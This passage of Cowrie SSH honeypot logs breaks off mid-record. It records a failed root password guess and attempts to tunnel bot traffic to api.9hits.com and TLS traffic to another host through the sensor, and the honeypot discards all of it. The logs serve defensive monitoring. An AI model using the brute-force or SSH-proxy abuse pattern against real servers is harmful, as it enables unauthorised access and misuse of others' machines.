{"eventid":"cowrie.login.failed","username":"root","password":"120595","message":"login attempt [root/120595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:22.716665Z","src_ip":"38.93.206.2","session":"c3c2c62c053d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:23.768797Z","src_ip":"38.93.206.2","session":"c3c2c62c053d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.8","message":"Connection lost after 27.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:23.791175Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.085396Z","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.164905Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TkokdDFmNV83IyluTlRrbw%3D%3DRl4DbCx0QoaSU0k3nPu994Hzi5s0ghU%2Foi0MyvxIWknWfxDzhfhk511nY1acARK4gzJyRxZFRP1Wx%2FyLGqhHQdG9NluAAy6NtcbSl851iQ0J%2FAJMQHjixRfyBSwDkfW%2B9KmAW42vER%2Fo1NoRzyKKm%2Fu3l1mC0fi3AARkGvEZIXETdZ88X4QRmVhR78eL%2BM%2FmjUU31E5AU3EgXXsuQpgbO%2FbV%2BEjDRJceC%2FGZVoF7SxZdOkoAD8WkDIUzAcK3J8zzBUrDqokhMD%2BrZdudReWdv71JRptWOPSCd3g98hP27epvFz7gsItWxjOmJDfoX7j6WTLz1AP3%2FRnj0b2%2F9N6dsthg3A9CqVevBjKlQaU4%2BtSH41KqRqNnjEfJtnqCfEHdu3iqDjl%2FUN9izAbmcqnK4DQff9U7CIDzzGlvOP7gAMUXevkmoCxyK2Qe4y8qz5GHOYB%2F1TK4ZdbQAOqcb5WtAWsRHH%2BhccbUWqlUwE40X7yeWAWccfJUX55i8yZ8lNqS%2FE2yfhC9p8Y0TibpR%2FRS1Tu9MDnBHkFueIB1%2FFy2pEcuBV3G9F5SxZaFmGfnWp5jo6yisaCD32b3jazKcGxLRhmUiBthEDJmga2CDKoVO12i3lD%2BruVDlhNOLjziLznR35DXd7xA5TWw7F1NajEaKVssE9kvF2LZGrMTsA91qiFkPVSp9vrtZ7R2mJUJsyjWAF5OawlSzXFIMDd%2FZd%2FepwkIOWlTlvd9Ai5MrFDkCzBw5qAEKVF2wjNgND5FUllK0Q1JWnjMm4%2Bj4U48rr0aHalZKiqIMJyfZgExHu%2BNL89A6ZdA687NKstRbE0NJ%2Bc%2FY9jkoW%2BHUBfNczkbafmTe9Ec8TQvZfDU%2BnuTqzqZsjWKA4z5BCJEThqoV8uWt6enYFu0FXqDd2Z%2FrEZlJvPGtKKgSEG5jC9waxsctJnEA0SXMbPtwzmog8%2BV2KlqV%2FtviNQZHsaIQ29uDg4kpYdaIy60%2BrJebm7Zw7yayQr6Dl6Qe1WaYx0f4IeWDh5VKVoMhvOPowuyIdxLjYE2TFI8yUwbeKFRS2wSAnDqa3SodFR8rvam9Owr5wSGC1oq9SoK'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TkokdDFmNV83IyluTlRrbw%3D%3DRl4DbCx0QoaSU0k3nPu994Hzi5s0ghU%2Foi0MyvxIWknWfxDzhfhk511nY1acARK4gzJyRxZFRP1Wx%2FyLGqhHQdG9NluAAy6NtcbSl851iQ0J%2FAJMQHjixRfyBSwDkfW%2B9KmAW42vER%2Fo1NoRzyKKm%2Fu3l1mC0fi3AARkGvEZIXETdZ88X4QRmVhR78eL%2BM%2FmjUU31E5AU3EgXXsuQpgbO%2FbV%2BEjDRJceC%2FGZVoF7SxZdOkoAD8WkDIUzAcK3J8zzBUrDqokhMD%2BrZdudReWdv71JRptWOPSCd3g98hP27epvFz7gsItWxjOmJDfoX7j6WTLz1AP3%2FRnj0b2%2F9N6dsthg3A9CqVevBjKlQaU4%2BtSH41KqRqNnjEfJtnqCfEHdu3iqDjl%2FUN9izAbmcqnK4DQff9U7CIDzzGlvOP7gAMUXevkmoCxyK2Qe4y8qz5GHOYB%2F1TK4ZdbQAOqcb5WtAWsRHH%2BhccbUWqlUwE40X7yeWAWccfJUX55i8yZ8lNqS%2FE2yfhC9p8Y0TibpR%2FRS1Tu9MDnBHkFueIB1%2FFy2pEcuBV3G9F5SxZaFmGfnWp5jo6yisaCD32b3jazKcGxLRhmUiBthEDJmga2CDKoVO12i3lD%2BruVDlhNOLjziLznR35DXd7xA5TWw7F1NajEaKVssE9kvF2LZGrMTsA91qiFkPVSp9vrtZ7R2mJUJsyjWAF5OawlSzXFIMDd%2FZd%2FepwkIOWlTlvd9Ai5MrFDkCzBw5qAEKVF2wjNgND5FUllK0Q1JWnjMm4%2Bj4U48rr0aHalZKiqIMJyfZgExHu%2BNL89A6ZdA687NKstRbE0NJ%2Bc%2FY9jkoW%2BHUBfNczkbafmTe9Ec8TQvZfDU%2BnuTqzqZsjWKA4z5BCJEThqoV8uWt6enYFu0FXqDd2Z%2FrEZlJvPGtKKgSEG5jC9waxsctJnEA0SXMbPtwzmog8%2BV2KlqV%2FtviNQZHsaIQ29uDg4kpYdaIy60%2BrJebm7Zw7yayQr6Dl6Qe1WaYx0f4IeWDh5VKVoMhvOPowuyIdxLjYE2TFI8yUwbeKFRS2wSAnDqa3SodFR8rvam9Owr5wSGC1oq9SoK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.169702Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.269063Z","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.321766Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031.\\xc8W\\x96m\\xbd@P\\xdc_\\xb9\\xd8\\xb3\\xb5J\\xe1YUVC\\xb9\\x0c\\xe2\\xed\\x85\\x98\\xd4x\\xea:C x\\xa3\\xaf\\xfe\\xd7\\xd4\\xdd\\xd1\\xde+\\xda\\x02,\\x96\\xc5\\x08xV~\\x03\\\\\\x12$a\\x1ee\\x0c\\xc8`\\x1d\\x1a\\xa2\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 2\\xa5U\\x9e\\xb5\\x98\\xe7\\xa0=.\\xcd`\\x19_\\xb4<\\xa9\\xf0\\x8a\\x98\\xf8\\xe1\\xca\\xc4[\\xd6\\xb9|\\xb4I\\xcdr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031.\\xc8W\\x96m\\xbd@P\\xdc_\\xb9\\xd8\\xb3\\xb5J\\xe1YUVC\\xb9\\x0c\\xe2\\xed\\x85\\x98\\xd4x\\xea:C x\\xa3\\xaf\\xfe\\xd7\\xd4\\xdd\\xd1\\xde+\\xda\\x02,\\x96\\xc5\\x08xV~\\x03\\\\\\x12$a\\x1ee\\x0c\\xc8`\\x1d\\x1a\\xa2\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 2\\xa5U\\x9e\\xb5\\x98\\xe7\\xa0=.\\xcd`\\x19_\\xb4<\\xa9\\xf0\\x8a\\x98\\xf8\\xe1\\xca\\xc4[\\xd6\\xb9|\\xb4I\\xcdr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.324291Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.400021Z","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.452232Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xca\\x99\\xa7\\xe7\\x1e]\\xbeN\\xf6{\\x1e7/\\xb0\\x19e\\xf2\\xdd\\xbcl\\x00\\xc7J:\\xc4\\x016\\xa7)$b \\xe9[mH\\x13+\\xdd\\xdeZz]\\xc6\\x0cX\\x00\\xba\\xec6G\\xa3\\xcf\\xa3\\xc5\\xaea\\x1fg\\xf4\\x08\\x85\\x1e\\x9f\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0zja3\\xc4\\xbd2\\xf8\\x91\\x9b\\x8a\\xf4\\xa0{j|\\nR\\xd3m\\r\\xf8{cm\\x11\\x1c \\xb9\\x90\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xca\\x99\\xa7\\xe7\\x1e]\\xbeN\\xf6{\\x1e7/\\xb0\\x19e\\xf2\\xdd\\xbcl\\x00\\xc7J:\\xc4\\x016\\xa7)$b \\xe9[mH\\x13+\\xdd\\xdeZz]\\xc6\\x0cX\\x00\\xba\\xec6G\\xa3\\xcf\\xa3\\xc5\\xaea\\x1fg\\xf4\\x08\\x85\\x1e\\x9f\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0zja3\\xc4\\xbd2\\xf8\\x91\\x9b\\x8a\\xf4\\xa0{j|\\nR\\xd3m\\r\\xf8{cm\\x11\\x1c \\xb9\\x90\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:25.455220Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:31.410323Z","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:31.444472Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QWluNmRrSnUqNzhiRGEmNg%3D%3DGXuaRIQ1mMs3ek%2FbmalPuB9dCvdRdPlpCm4gMHKCTk6bx%2B8abZ8Yw%2BOff8lLGa56980utsumZSiRvJ9I6gNAlOC%2F9FIqFF%2B397DX8oObfDcOC%2F6r3stkrI62LBKuo22AwrWdSSJHgDwwGgbWSYyA5J8EqEE%2FR5x8zoUGEBRbGrYKfjUQB010uVEBJlvKcT2uMIk%2BtU4B49MdCxLmQT0BIMIcPto6rQ3cG6Pn2jPJ4rCXD3Q2wKA9VVwwSxUO6potgGn%2BtdZfvJMYSBdbL%2FEJKAscmTR6qbAllYqaAs%2F8QQbm4HGsAJkWAVktBXbPP%2BRLYf%2FEMFznySfo1gpCFpC6X0Z1j9VpjtonBWK2AZ83AjSXxoYA%2FJ8SXgj3c7BargRCjecfWT36ouZrx59jJYa0QjyL%2Bz2P3MMnm7pFAiDAQrvjs6Zz%2Bjp9dRjF69ZezmkctxAKjUvlq7S9ymoWSI9Zm2O5GqL0q1hUgWrHwYsy11ySwpz1vurGEselZjvYsYVpWUsGOmNEbpaJI1MajE8qMnWXPd%2Fjr59ngFPRhl2KMEUHdoxo32PKoHqyarfSD7TVWkNfjPzMGUPcY%2F%2BrL60X5U4ftokiM4baEwsKZUf92S%2FKQKnbyFTAnuOf%2BkKX8xomObWVdmj3oRwHpT%2BstNrGnPMe7uZ3pOfrg4AwQGZb3maa5A6TQVIbPyV%2FPriQeCtrBLxMBlphgdAXivAn4OdgUS7doENa0sHS8eG5pGBQjeEySWNa2oL%2BOS9jExD%2FuWx4NPF20oTDLOM0RUpAU3FnZ77emi40lX3%2Bwl5bhTA6d9zL2FsXMMNHf0dB4Eeaf%2FUEnG9OjL9R7akSs2HFpX1uBNbrA%2BRl0QbXb8iu5DS3nqjr%2FRaabob35gHIflPu%2BbsvrH1qhcpr3qyw0Hf%2FLvRVSdVHGe1tyJnxLkp5yDNEoYV8WR9dzJyxFBiChR%2Bc5dYm%2FOtdurVlXwU5iuzUO0H0Ap6p6g3y%2Brk6QfeB6lQVwM9LlyMqZs9jRgwCHjFsQDG1OlwnrMQS%2BqHg7KleQ1A4T0yGqrcPVEQrI0ghQuk2fZM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 